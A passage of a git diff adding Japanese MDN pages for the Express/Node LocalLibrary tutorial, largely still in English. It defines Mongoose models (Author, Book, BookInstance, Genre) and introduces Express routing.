href="http://mongoosejs.com/docs/api.html#model_Model.findByIdAndUpdate">findByIdAndUpdate()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndRemove">findOneAndRemove()</a></code>, <code><a href="http://mongoosejs.com/docs/api.html#query_Query-findOneAndUpdate">findOneAndUpdate()</a></code>: Finds a single document by <code>id</code> or criteria and either update or remove it. These are useful convenience functions for updating and removing records.</li> +</ul> + +<div class="note"> +<p><strong>Note:</strong> There is also a <code><a href="http://mongoosejs.com/docs/api.html#model_Model.count">count()</a></code> method that you can use to get the number of items that match conditions. This is useful if you want to perform a count without actually fetching the records.</p> +</div> + +<p>There is a lot more you can do with queries. For more information see: <a href="http://mongoosejs.com/docs/queries.html">Queries</a> (Mongoose docs).</p> + +<h4 id="Working_with_related_documents_—_population">Working with related documents — population</h4> + +<p>You can create references from one document/model instance to another using the <code>ObjectId</code> schema field, or from one document to many using an array of <code>ObjectIds</code>. The field stores the id of the related model. If you need the actual content of the associated document, you can use the <code><a href="http://mongoosejs.com/docs/api.html#query_Query-populate">populate()</a></code> method in a query to replace the id with the actual data.</p> + +<p>For example, the following schema defines authors and stories. Each author can have multiple stories, which we represent as an array of <code>ObjectId</code>. Each story can have a single author. The "ref" (highlighted in bold below) tells the schema which model can be assigned to this field.</p> + +<pre class="brush: js notranslate"><code>var mongoose = require('mongoose') + , Schema = mongoose.Schema + +var authorSchema = Schema({ + name : String, + stories : [{ type: Schema.Types.ObjectId, <strong>ref</strong>: 'Story' }] +}); + +var storySchema = Schema({ + author : { type: Schema.Types.ObjectId, <strong>ref</strong>: 'Author' }, + title : String +}); + +var Story = mongoose.model('Story', storySchema); +var Author = mongoose.model('Author', authorSchema);</code></pre> + +<p>We can save our references to the related document by assigning the <code>_id</code> value. Below we create an author, then a story, and assign the author id to our stories author field.</p> + +<pre class="brush: js notranslate"><code>var bob = new Author({ name: 'Bob Smith' }); + +bob.save(function (err) { + if (err) return handleError(err); + + //Bob now exists, so lets create a story + var story = new Story({ + title: "Bob goes sledding", + author: bob._id // assign the _id from the our author Bob. This ID is created by default! + }); + + story.save(function (err) { + if (err) return handleError(err); + // Bob now has his story + }); +});</code></pre> + +<p>Our story document now has an author referenced by the author document's ID. In order to get the author information in the story results we use <code>populate()</code>, as shown below.</p> + +<pre class="brush: js notranslate"><code>Story +.findOne({ title: 'Bob goes sledding' }) +.populate('author') //This populates the author id with actual author information! +.exec(function (err, story) { + if (err) return handleError(err); + console.log('The author is %s', story.author.name); + // prints "The author is Bob Smith" +});</code></pre> + +<div class="note"> +<p><strong>Note:</strong> Astute readers will have noted that we added an author to our story, but we didn't do anything to add our story to our author's <code>stories</code> array. How then can we get all stories by a particular author? One way would be to add our author to the stories array, but this would result in us having two places where the information relating authors and stories needs to be maintained.</p> + +<p>A better way is to get the <code>_id</code> of our <em>author</em>, then use <code>find()</code> to search for this in the author field across all stories.</p> + +<pre class="brush: js notranslate"><code>Story +.find({ author : bob._id }) +.exec(function (err, stories) { + if (err) return handleError(err); + // returns all stories that have Bob's id as their author. +});</code> +</pre> +</div> + +<p>This is almost everything you need to know about working with related items<em> for this tutorial</em>. For more detailed information see <a href="http://mongoosejs.com/docs/populate.html">Population</a> (Mongoose docs).</p> + +<h3 id="One_schemamodel_per_file">One schema/model per file</h3> + +<p>While you can create schemas and models using any file structure you like, we highly recommend defining each model schema in its own module (file), exporting the method to create the model. This is shown below:</p> + +<pre class="brush: js notranslate"><code>// File: ./models/somemodel.js + +//Require Mongoose +var mongoose = require('mongoose'); + +//Define a schema +var Schema = mongoose.Schema; + +var SomeModelSchema = new Schema({ + a_string : String, + a_date : Date, +}); + +<strong>//Export function to create "SomeModel" model class +module.exports = mongoose.model('SomeModel', SomeModelSchema );</strong></code></pre> + +<p>You can then require and use the model immediately in other files. Below we show how you might use it to get all instances of the model.</p> + +<pre class="brush: js notranslate"><code>//Create a SomeModel model just by requiring the module +var SomeModel = require('../models/somemodel') + +// Use the SomeModel object (model) to find all SomeModel records +SomeModel.find(callback_function);</code></pre> + +<h2 id="Setting_up_the_MongoDB_database">Setting up the MongoDB database</h2> + +<p>Now that we understand something of what Mongoose can do and how we want to design our models, it's time to start work on the <em>LocalLibrary</em> website. The very first thing we want to do is set up a MongoDb database that we can use to store our library data.</p> + +<p>For this tutorial, we're going to use <a href="https://mlab.com/welcome/">mLab</a>'s free cloud-hosted "<a href="https://mlab.com/plans/pricing/">sandbox</a>" database. This database tier is not considered suitable for production websites because it has no redundancy, but it is great for development and prototyping. We're using it here because it is free and easy to set up, and because mLab is a popular <em>database as a service</em> vendor that you might reasonably choose for your production database (other popular choices at the time of writing include <a href="https://www.compose.com/">Compose</a>, <a href="https://scalegrid.io/pricing.html">ScaleGrid</a> and <a href="https://www.mongodb.com/cloud/atlas">MongoDB Atlas</a>).</p> + +<div class="note"> +<p><strong>Note:</strong> If you prefer you can set up a MongoDb database locally by downloading and installing the <a href="https://www.mongodb.com/download-center">appropriate binaries for your system</a>. The rest of the instructions in this article would be similar, except for the database URL you would specify when connecting.</p> +</div> + +<p>You will first need to <a href="https://mlab.com/signup/">create an account</a> with mLab (this is free, and just requires that you enter basic contact details and acknowledge their terms of service). </p> + +<p>After logging in, you'll be taken to the <a href="https://mlab.com/home">home</a> screen:</p> + +<ol> + <li>Click <strong>Create New</strong> in the <em>MongoDB Deployments</em> section.<img alt="" src="https://mdn.mozillademos.org/files/14446/mLabCreateNewDeployment.png" style="height: 415px; width: 1000px;"></li> + <li>This will open the <em>Cloud Provider Selection </em>screen.<br> + <img alt="MLab - screen for new deployment" src="https://mdn.mozillademos.org/files/15661/mLab_new_deployment_form_v2.png" style="height: 931px; width: 1297px;"><br> + + <ul> + <li>Select the SANDBOX (Free) plan from the Plan Type section. </li> + <li>Select any provider from the <em>Cloud Provider </em>section. Different providers offer different regions (displayed below the selected plan type).</li> + <li>Click the <strong>Continue</strong> button.</li> + </ul> + </li> + <li>This will open the <em>Select Region</em> screen. + <p><img alt="Select new region screen" src="https://mdn.mozillademos.org/files/15662/mLab_new_deployment_select_region_v2.png" style="height: 570px; width: 1293px;"></p> + + <ul> + <li> + <p>Select the region closest to you and then <strong>Continue</strong>.</p> + </li> + </ul> + </li> + <li> + <p>This will open the <em>Final Details</em> screen.<br> + <img alt="New deployment database name" src="https://mdn.mozillademos.org/files/15663/mLab_new_deployment_final_details.png" style="height: 569px; width: 1293px;"></p> + + <ul> + <li> + <p>Enter the name for the new database as <code>local_library</code> and then select <strong>Continue</strong>.</p> + </li> + </ul> + </li> + <li> + <p>This will open the <em>Order Confirmation</em> screen.<br> + <img alt="Order confirmation screen" src="https://mdn.mozillademos.org/files/15664/mLab_new_deployment_order_confirmation.png" style="height: 687px; width: 1290px;"></p> + + <ul> + <li> + <p>Click <strong>Submit Order</strong> to create the database.</p> + </li> + </ul> + </li> + <li> + <p>You will be returned to the home screen. Click on the new database you just created to open its details screen. As you can see the database has no collections (data).<br> + <img alt="mLab - Database details screen" src="https://mdn.mozillademos.org/files/15665/mLab_new_deployment_database_details.png" style="height: 700px; width: 1398px;"><br> + <br> + The URL that you need to use to access your database is displayed on the form above (shown for this database circled above). In order to use this you need to create a database user that you can specify in the URL.</p> + </li> + <li>Click the <strong>Users</strong> tab and select the <strong>Add database user</strong> button.</li> + <li>Enter a username and password (twice), and then press <strong>Create</strong>. Do not select <em>Make read only</em>.<br> + <img alt="" src="https://mdn.mozillademos.org/files/14454/mLab_database_users.png" style="height: 204px; width: 600px;"></li> +</ol> + +<p>You have now created the database, and have an URL (with username and password) that can be used to access it. This will look something like: <code>mongodb://your_user_namer:your_password@ds119748.mlab.com:19748/local_library</code>.</p> + +<h2 id="Install_Mongoose">Install Mongoose</h2> + +<p>Open a command prompt and navigate to the directory where you created your <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">skeleton Local Library website</a>. Enter the following command to install Mongoose (and its dependencies) and add it to your <strong>package.json</strong> file, unless you have already done so when reading the <a href="#Installing_Mongoose_and_MongoDB">Mongoose Primer</a> above.</p> + +<pre class="brush: bash notranslate">npm install mongoose +</pre> + +<h2 id="Connect_to_MongoDB">Connect to MongoDB</h2> + +<p>Open <strong>/app.js</strong> (in the root of your project) and copy the following text below where you declare the <em>Express application object</em> (after the line <code>var app = express();</code>). Replace the database url string ('<em>insert_your_database_url_here</em>') with the location URL representing your own database (i.e. using the information <a href="#Setting_up_the_MongoDB_database">from mLab</a>).</p> + +<pre class="brush: js notranslate">//Set up mongoose connection +var mongoose = require('mongoose'); +var mongoDB = '<em>insert_your_database_url_here</em>'; +mongoose.connect(mongoDB); +mongoose.Promise = global.Promise; +var db = mongoose.connection; +db.on('error', console.error.bind(console, 'MongoDB connection error:'));</pre> + +<p>As discussed <a href="#Connecting_to_MongoDB">in the Mongoose primer above</a>, this code creates the default connection to the database and binds to the error event (so that errors will be printed to the console). </p> + +<h2 id="Defining_the_LocalLibrary_Schema">Defining the LocalLibrary Schema</h2> + +<p>We will define a separate module for each model, as <a href="#One_schemamodel_per_file">discussed above</a>. Start by creating a folder for our models in the project root (<strong>/models</strong>) and then create separate files for each of the models:</p> + +<pre class="notranslate">/express-locallibrary-tutorial //the project root + <strong>/models</strong> + <strong>author.js</strong> + <strong>book.js</strong> + <strong>bookinstance.js</strong> + <strong>genre.js</strong> +</pre> + +<h3 id="Author_model">Author model</h3> + +<p>Copy the <code>Author</code> schema code shown below and paste it into your <strong>./models/author.js</strong> file. The scheme defines an author has having <code>String</code> SchemaTypes for the first and family names, that are required and have a maximum of 100 characters, and <code>Date</code> fields for the date of birth and death.</p> + +<pre class="brush: js notranslate">var mongoose = require('mongoose'); + +var Schema = mongoose.Schema; + +var AuthorSchema = new Schema( + { + first_name: {type: String, required: true, max: 100}, + family_name: {type: String, required: true, max: 100}, + date_of_birth: {type: Date}, + date_of_death: {type: Date}, + } +); + +<strong>// Virtual for author's full name +AuthorSchema +.virtual('name') +.get(function () { + return this.family_name + ', ' + this.first_name; +}); + +// Virtual for author's lifespan +AuthorSchema +</strong>.virtual('lifespan') +.get(function () { + return (this.date_of_death.getYear() - this.date_of_birth.getYear()).toString(); +}); + +// Virtual for author's URL +AuthorSchema +.virtual('url') +.get(function () { + return '/catalog/author/' + this._id; +}); + +//Export model +module.exports = mongoose.model('Author', AuthorSchema); + +</pre> + +<p>We've also declared a <a href="#Virtual_properties">virtual</a> for the AuthorSchema named "url" that returns the absolute URL required to get a particular instance of the model — we'll use the property in our templates whenever we need to get a link to a particular author.</p> + +<div class="note"> +<p><strong>Note:</strong> Declaring our URLs as a virtual in the schema is a good idea because then the URL for an item only ever needs to be changed in one place.<br> + At this point, a link using this URL wouldn't work, because we haven't got any routes handling code for individual model instances. We'll set those up in a later article!</p> +</div> + +<p>At the end of the module, we export the model.</p> + +<h3 id="Book_model">Book model</h3> + +<p>Copy the <code>Book</code> schema code shown below and paste it into your <strong>./models/book.js</strong> file. Most of this is similar to the author model — we've declared a schema with a number of string fields and a virtual for getting the URL of specific book records, and we've exported the model.</p> + +<pre class="brush: js notranslate">var mongoose = require('mongoose'); + +var Schema = mongoose.Schema; + +var BookSchema = new Schema( + { + title: {type: String, required: true}, + <strong> author: {type: Schema.Types.ObjectId, ref: 'Author', required: true},</strong> + summary: {type: String, required: true}, + isbn: {type: String, required: true}, + <strong> genre: [{type: Schema.Types.ObjectId, ref: 'Genre'}]</strong> + } +); + +// Virtual for book's URL +BookSchema +.virtual('url') +.get(function () { + return '/catalog/book/' + this._id; +}); + +//Export model +module.exports = mongoose.model('Book', BookSchema); +</pre> + +<p>The main difference here is that we've created two references to other models:</p> + +<ul> + <li>author is a reference to a single <code>Author</code> model object, and is required.</li> + <li>genre is a reference to an array of <code>Genre</code> model objects. We haven't declared this object yet!</li> +</ul> + +<h3 id="BookInstance_model">BookInstance model</h3> + +<p>Finally, copy the <code>BookInstance</code> schema code shown below and paste it into your <strong>./models/bookinstance.js</strong> file. The <code>BookInstance</code> represents a specific copy of a book that someone might borrow and includes information about whether the copy is available or on what date it is expected back, "imprint" or version details.</p> + +<pre class="brush: js notranslate">var mongoose = require('mongoose'); + +var Schema = mongoose.Schema; + +var BookInstanceSchema = new Schema( + { + book: { type: Schema.Types.ObjectId, ref: 'Book', required: true }, //reference to the associated book + imprint: {type: String, required: true}, + status: {type: String, required: true, <strong>enum: ['Available', 'Maintenance', 'Loaned', 'Reserved']</strong>, <strong>default: 'Maintenance'</strong>}, + due_back: {type: Date, <strong>default: Date.now</strong>} + } +); + +// Virtual for bookinstance's URL +BookInstanceSchema +.virtual('url') +.get(function () { + return '/catalog/bookinstance/' + this._id; +}); + +//Export model +module.exports = mongoose.model('BookInstance', BookInstanceSchema);</pre> + +<p>The new things we show here are the field options:</p> + +<ul> + <li><code>enum</code>: This allows us to set the allowed values of a string. In this case, we use it to specify the availability status of our books (using an enum means that we can prevent mis-spellings and arbitrary values for our status)</li> + <li><code>default</code>: We use default to set the default status for newly created bookinstances to maintenance and the default <code>due_back</code> date to <code>now</code> (note how you can call the Date function when setting the date!)</li> +</ul> + +<p>Everything else should be familiar from our previous schema.</p> + +<h3 id="Genre_model_-_challenge!">Genre model - challenge!</h3> + +<p>Open your <strong>./models/genre.js</strong> file and create a schema for storing genres (the category of book, e.g. whether it is fiction or non-fiction, romance or military history, etc).</p> + +<p>The definition will be very similar to the other models:</p> + +<ul> + <li>The model should have a <code>String</code> SchemaType called <code>name</code> to describe the genre.</li> + <li>This name should be required and have between 3 and 100 characters.</li> + <li>Declare a <a href="#Virtual_properties">virtual</a> for the genre's URL, named <code>url</code>.</li> + <li>Export the model.</li> +</ul> + +<h2 id="Testing_—_create_some_items">Testing — create some items</h2> + +<p>That's it. We now have all models for the site set up!</p> + +<p>In order to test the models (and to create some example books and other items that we can use in our next articles) we'll now run an <em>independent</em> script to create items of each type:</p> + +<ol> + <li>Download (or otherwise create) the file <a href="https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a> inside your <em>express-locallibrary-tutorial</em> directory (in the same level as <code>package.json</code>). + + <div class="note"> + <p><strong>Note:</strong> You don't need to know how <a href="https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js">populatedb.js</a> works; it just adds sample data into the database.</p> + </div> + </li> + <li>Enter the following commands in the project root to install the <em>async</em> module that is required by the script (we'll discuss this in later tutorials, ) + <pre class="brush: bash notranslate">npm install async</pre> + </li> + <li>Run the script using node in your command prompt, passing in the URL of your <em>MongoDB</em> database (the same one you replaced the <em>insert_your_database_url_here </em>placeholder with, inside <code>app.js</code> earlier): + <pre class="brush: bash notranslate">node populatedb <your mongodb url></pre> + </li> + <li>The script should run through to completion, displaying items as it creates them in the terminal.</li> +</ol> + +<div class="note"> +<p><strong>Tip:</strong> Go to your database on <a href="https://mlab.com/home">mLab</a>. You should now be able to drill down into individual collections of Books, Authors, Genres and BookInstances, and check out individual documents.</p> +</div> + +<h2 id="まとめ">まとめ</h2> + +<p>この記事では、Node/Express 上のデータベースと ORM について、また Mongoose のスキーマとモデルの定義方法について多くのことを学びました。次に、この情報を使用して、ローカルライブラリ Web サイト用の <code>Book</code>、<code>BookInstance</code>、<code>Author</code>、および <code>Genre</code> を設計および実装しました。</p> + +<p>最後に、(スタンドアロンスクリプトを使用して) 多数のインスタンスを作成することによってモデルをテストしました。次の記事では、これらのオブジェクトを表示するためのページの作成について見ていきます。</p> + +<h2 id="あわせて参照">あわせて参照</h2> + +<ul> + <li><a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express ドキュメント)</li> + <li><a href="http://mongoosejs.com/">Mongoose website</a> (Mongoose ドキュメント)</li> + <li><a href="http://mongoosejs.com/docs/guide.html">Mongoose Guide</a> (Mongoose ドキュメント)</li> + <li><a href="http://mongoosejs.com/docs/validation.html">Validation</a> (Mongoose ドキュメント)</li> + <li><a href="http://mongoosejs.com/docs/schematypes.html">Schema Types</a> (Mongoose ドキュメント)</li> + <li><a href="http://mongoosejs.com/docs/models.html">Models</a> (Mongoose ドキュメント)</li> + <li><a href="http://mongoosejs.com/docs/queries.html">Queries</a> (Mongoose ドキュメント)</li> + <li><a href="http://mongoosejs.com/docs/populate.html">Population</a> (Mongoose ドキュメント)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node のイントロダクション</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境の設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express チュートリアル: 地域図書館の Web サイト</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express チュートリアル Part 2: スケルトン Web サイトの作成</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Express チュートリアル Part 3: データベースを使う (Mongoose を使用)</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/routes">Express チュートリアル Part 4: ルートとコントローラ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express チュートリアル Part 5: ライブラリデータの表示</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/forms">Express チュートリアル Part 6: フォームの操作</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/deployment">Express チュートリアル Part 7: プロダクションへのデプロイ</a></li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/routes/index.html b/files/ja/learn/server-side/express_nodejs/routes/index.html new file mode 100644 index 0000000000..bb3e21898b --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/routes/index.html @@ -0,0 +1,640 @@ +--- +title: 'Express チュートリアル Part 4: ルートとコントローラ' +slug: Learn/Server-side/Express_Nodejs/routes +translation_of: Learn/Server-side/Express_Nodejs/routes +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">このチュートリアルでは、地域図書館 Web サイトで最終的に必要となるすべてのリソースエンドポイントに対して、"ダミー" ハンドラ関数を使用してルート (URL 処理コード) を設定します。完成すると、ルート処理コードのためのモジュール構造が得られます。これは、次の記事の実際のハンドラ関数で拡張できます。Express を使ってモジュラールートを作成する方法についても、非常によく理解しています。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件</th> + <td><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node のイントロダクション</a>を読んでください。 これまでのチュートリアルのトピック (<a href="/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Express チュートリアル Part 3: データベースを使う (Mongoose を使用)</a>を含む) を完了してください。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>単純なルートを作成する方法を理解する。すべての URL エンドポイントを設定します。</td> + </tr> + </tbody> +</table> + +<h2 id="Overview">Overview</h2> + +<p>In the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">last tutorial article</a> we defined <em>Mongoose</em> models to interact with the database, and used a (standalone) script to create some initial library records. We can now write the code to present that information to users. The first thing we need to do is determine what information we want to be able to display in our pages, and then define appropriate URLs for returning those resources. Then we're going to need to create the routes (URL handlers) and views (templates) to display those pages.</p> + +<p>The diagram below is provided as a reminder of the main flow of data and things that need to be implemented when handling an HTTP request/response. In addition to the views and routes the diagram shows "controllers" — functions that separate out the code to route requests from the code that actually processes requests.</p> + +<p>As we've already created the models, the main things we'll need to create are:</p> + +<ul> + <li>"Routes" to forward the supported requests (and any information encoded in request URLs) to the appropriate controller functions.</li> + <li>Controller functions to get the requested data from the models, create an HTML page displaying the data, and return it to the user to view in the browser.</li> + <li>Views (templates) used by the controllers to render the data.</li> +</ul> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14456/MVC%20Express.png" style="height: 460px; width: 800px;"></p> + +<p>Ultimately we might have pages to show lists and detail information for books, genres, authors and bookinstances, along with pages to create, update, and delete records. That's a lot to document in one article. Therefore most of this article will concentrate on setting up our routes and controllers to return "dummy" content. We'll extend the controller methods in our subsequent articles to work with model data.</p> + +<p>The first section below provides a brief "primer" on how to use the Express <a href="http://expressjs.com/en/4x/api.html#router">Router</a> middleware. We'll then use that knowledge in the following sections when we set up the LocalLibrary routes.</p> + +<h2 id="Routes_primer">Routes primer</h2> + +<p>A route is a section of Express code that associates an HTTP verb (<code>GET</code>, <code>POST</code>, <code>PUT</code>, <code>DELETE</code>, etc.), an URL path/pattern, and a function that is called to handle that pattern.</p> + +<p>There are several ways to create routes. For this tutorial we're going to use the <code><a href="http://expressjs.com/en/guide/routing.html#express-router">express.Router</a></code> middleware as it allows us to group the route handlers for a particular part of a site together and access them using a common route-prefix. We'll keep all our library-related routes in a "catalog" module, and, if we add routes for handling user accounts or other functions, we can keep them grouped separately.</p> + +<div class="note"> +<p><strong>Note:</strong> We discussed Express application routes briefly in our <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Creating_route_handlers">Express Introduction > Creating route handlers</a>. Other than providing better support for modularization (as discussed in the first subsection below), using <em>Router</em> is very similar to defining routes directly on the <em>Express application object</em>.</p> +</div> + +<p>The rest of this section provides an overview of how the <code>Router</code> can be used to define the routes.</p> + +<h3 id="Defining_and_using_separate_route_modules">Defining and using separate route modules</h3> + +<p>The code below provides a concrete example of how we can create a route module and then use it in an <em>Express</em> application.</p> + +<p>First we create routes for a wiki in a module named <strong>wiki.js</strong>. The code first imports the Express application object, uses it to get a <code>Router</code> object and then adds a couple of routes to it using the <code>get()</code> method. Last of all the module exports the <code>Router</code> object.</p> + +<pre class="brush: js"><code>// wiki.js - Wiki route module. + +var express = require('express'); +var router = express.Router(); + +// Home page route. +router.get('/', function (req, res) { + res.send('Wiki home page'); +}) + +// About page route. +router.get('/about', function (req, res) { + res.send('About this wiki'); +}) + +module.exports = router;</code> + +</pre> + +<div class="note"> +<p><strong>Note:</strong> Above we are defining our route handler callbacks directly in the router functions. In the LocalLibrary we'll define these callbacks in a separate controller module.</p> +</div> + +<p>To use the router module in our main app file we first <code>require()</code> the route module (<strong>wiki.js</strong>). We then call <code>use()</code> on the <em>Express</em> application to add the Router to the middleware handling path, specifying an URL path of 'wiki'.</p> + +<pre class="brush: js"><code>var wiki = require('./wiki.js'); +// ... +app.use('/wiki', wiki);</code></pre> + +<p>The two routes defined in our wiki route module are then accessible from <code>/wiki/</code> and <code>/wiki/about/</code>.</p> + +<h3 id="Route_functions">Route functions</h3> + +<p>Our module above defines a couple of typical route functions. The "about" route (reproduced below) is defined using the <code>Router.get()</code> method, which responds only to HTTP GET requests. The first argument to this method is the URL path while the second is a callback function that will be invoked if an HTTP GET request with the path is received.</p> + +<pre class="brush: js"><code>router.get('/about', function (req, res) { + res.send('About this wiki'); +})</code> +</pre> + +<p>The callback takes three arguments (usually named as shown: <code>req</code>, <code>res</code>, <code>next</code>), that will contain the HTTP Request object, HTTP response, and the <em>next</em> function in the middleware chain.</p> + +<div class="note"> +<p><strong>Note:</strong> Router functions are <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction#Using_middleware">Express middleware</a>, which means that they must either complete (respond to) the request or call the <code>next</code> function in the chain. In the case above we complete the request using <code>send()</code>, so the <code>next</code> argument is not used (and we choose not to specify it).</p> + +<p>The router function above takes a single callback, but you can specify as many callback arguments as you want, or an array of callback functions. Each function is part of the middleware chain, and will be called in the order it is added to the chain (unless a preceding function completes the request).</p> +</div> + +<p>The callback function here calls <code><a href="https://expressjs.com/en/4x/api.html#res.send">send()</a></code> on the response to return the string "About this wiki" when we receive a GET request with the path ('<code>/about'</code>). There are a <a href="https://expressjs.com/en/guide/routing.html#response-methods">number of other response methods</a> for ending the request/response cycle. For example, you could call <code><a href="https://expressjs.com/en/4x/api.html#res.json">res.json()</a></code> to send a JSON response or <code><a href="https://expressjs.com/en/4x/api.html#res.sendFile">res.sendFile()</a></code> to send a file. The response method that we'll be using most often as we build up the library is <a href="https://expressjs.com/en/4x/api.html#res.render">render()</a>, which creates and returns HTML files using templates and data—we'll talk a lot more about that in a later article!</p> + +<h3 id="HTTP_verbs">HTTP verbs</h3> + +<p>The example routes above use the <code>Router.get()</code> method to respond to HTTP GET requests with a certain path.</p> + +<p>The <code>Router</code> also provides route methods for all the other HTTP verbs, that are mostly used in exactly the same way: <code>post()</code>, <code>put()</code>, <code>delete()</code>, <code>options()</code>, <code>trace()</code>, <code>copy()</code>, <code>lock()</code>, <code>mkcol()</code>, <code>move()</code>, <code>purge()</code>, <code>propfind()</code>, <code>proppatch()</code>, <code>unlock()</code>, <code>report()</code>, <code>mkactivity()</code>, <code>checkout()</code>, <code>merge()</code>, <code>m-</code><code>search()</code>, <code>notify()</code>, <code>subscribe()</code>, <code>unsubscribe()</code>, <code>patch()</code>, <code>search()</code>, and <code>connect()</code>.</p> + +<p>For example, the code below behaves just like the previous <code>/about</code> route, but only responds to HTTP POST requests.</p> + +<pre class="brush: js"><code>router.post('/about', function (req, res) { + res.send('About this wiki'); +})</code></pre> + +<h3 id="Route_paths">Route paths</h3> + +<p>The route paths define the endpoints at which requests can be made. The examples we've seen so far have just been strings, and are used exactly as written: '/', '/about', '/book', '/any-random.path'.</p> + +<p>Route paths can also be string patterns. String patterns use a subset of regular expression syntax to define <em>patterns</em> of endpoints that will be matched. The subset is listed below (note that the hyphen (<code>-</code>) and the dot (<code>.</code>) are interpreted literally by string-based paths):</p> + +<ul> + <li>? : The endpoint must have 0 or 1 of the preceding character. E.g. a route path of <code>'/ab?cd'</code> will match endpoints <code>acd</code> or <code>abcd</code>.</li> + <li>+ : The endpoint must have 1 or more of the preceding character. E.g. a route path of <code>'/ab+cd'</code> will match endpoints <code>abcd</code>, <code>abbcd</code>, <code>abbbcd</code>, and so on.</li> + <li>* : The endpoint may have an arbitrary string where the * character is placed. E.g. a route path of <code>'ab\*cd'</code> will match endpoints <code>abcd</code>, <code>abXcd</code>, <code>abSOMErandomTEXTcd</code>, and so on.</li> + <li>() : Grouping match on a set of characters to perform another operation on. E.g. <code>'/ab(cd)?e'</code> will peform a ? match on (cd) —it will match <code>abe</code> and <code>abcde</code>.</li> +</ul> + +<p>The route paths can also be JavaScript <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">regular expressions</a>. For example, the route path below will match <code>catfish </code>and <code>dogfish</code>, but not <code>catflap</code>, <code>catfishhead</code>, and so on. Note that the path for a regular expression uses regular expression syntax (it is not a quoted string as in the previous cases).</p> + +<pre class="brush: js"><code>app.get(/.*fish$/, function (req, res) { + ... +})</code></pre> + +<div class="note"> +<p><strong>Note:</strong> Most of our routes for the LocalLibrary will simply use strings and not string patterns and regular expressions. We'll also use route parameters as discussed in the next section.</p> +</div> + +<h3 id="Route_parameters">Route parameters</h3> + +<p>Route parameters are <em>named URL segments</em> used to capture the values specified at their position in the URL. The named segments are prefixed with a colon and then the name (e.g. <code>/<strong>:</strong>your_parameter_name/</code>. The captured values are stored in the <code>req.params</code> object using the parameter names as keys (e.g. <code>req.params.your_parameter_name</code>).</p> + +<p>So for example, consider a URL encoded to contain information about users and books: <code>http://localhost:3000/users/34/books/8989</code>. We can extract this information as shown below, with the <code>userId</code> and <code>bookId</code> path parameters:</p> + +<pre><code>app.get('/users/:userId/books/:bookId', function (req, res) { + // Access userId via: req.params.userId + // Access bookId via: req.params.bookId + res.send(req.params); +}) +</code></pre> + +<p>The names of route parameters must be made up of “word characters” (A-Z, a-z, 0-9, and _).</p> + +<div class="note"> +<p><strong>Note:</strong> The URL <em>/book/create</em> will be matched by a route like <code>/book/:bookId</code> (which will extract a "bookId" value of '<code>create</code>'). The first route that matches an incoming URL will be used, so if you want to process <code>/book/create</code> URLs separately, their route handler must be defined before your <code>/book/:bookId</code> route.</p> +</div> + +<p>That's all you need to get started with routes - if needed you can find more information in the Express docs: <a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> and <a href="http://expressjs.com/en/guide/routing.html">Routing guide</a>. The following sections show how we'll set up our routes and controllers for the LocalLibrary.</p> + +<h2 id="Routes_needed_for_the_LocalLibrary">Routes needed for the LocalLibrary</h2> + +<p>The URLs that we're ultimately going to need for our pages are listed below, where <em>object</em> is replaced by the name of each of our models (book, bookinstance, genre, author), <em>objects</em> is the plural of object, and <em>id</em> is the unique instance field (<code>_id</code>) that is given to each Mongoose model instance by default.</p> + +<ul> + <li><code>catalog/</code> — The home/index page.</li> + <li><code>catalog/<objects>/</code> — The list of all books, bookinstances, genres, or authors (e.g. /<code>catalog/books/</code>, /<code>catalog/genres/</code>, etc.)</li> + <li><code>catalog/<object>/<em><id></em></code> — The detail page for a specific book, bookinstance, genre, or author with the given <code><em>_id</em></code> field value (e.g. <code>/catalog/book/584493c1f4887f06c0e67d37)</code>.</li> + <li><code>catalog/<object>/create</code> — The form to create a new book, bookinstance, genre, or author (e.g. <code>/catalog/book/create)</code>.</li> + <li><code>catalog/<object>/<em><id></em>/update</code> — The form to update a specific book, bookinstance, genre, or author with the given <code><em>_id</em></code> field value (e.g. <code>/catalog/book/584493c1f4887f06c0e67d37/update)</code>.</li> + <li><code>catalog/<object>/<em><id></em>/delete</code> — The form to delete a specific book, 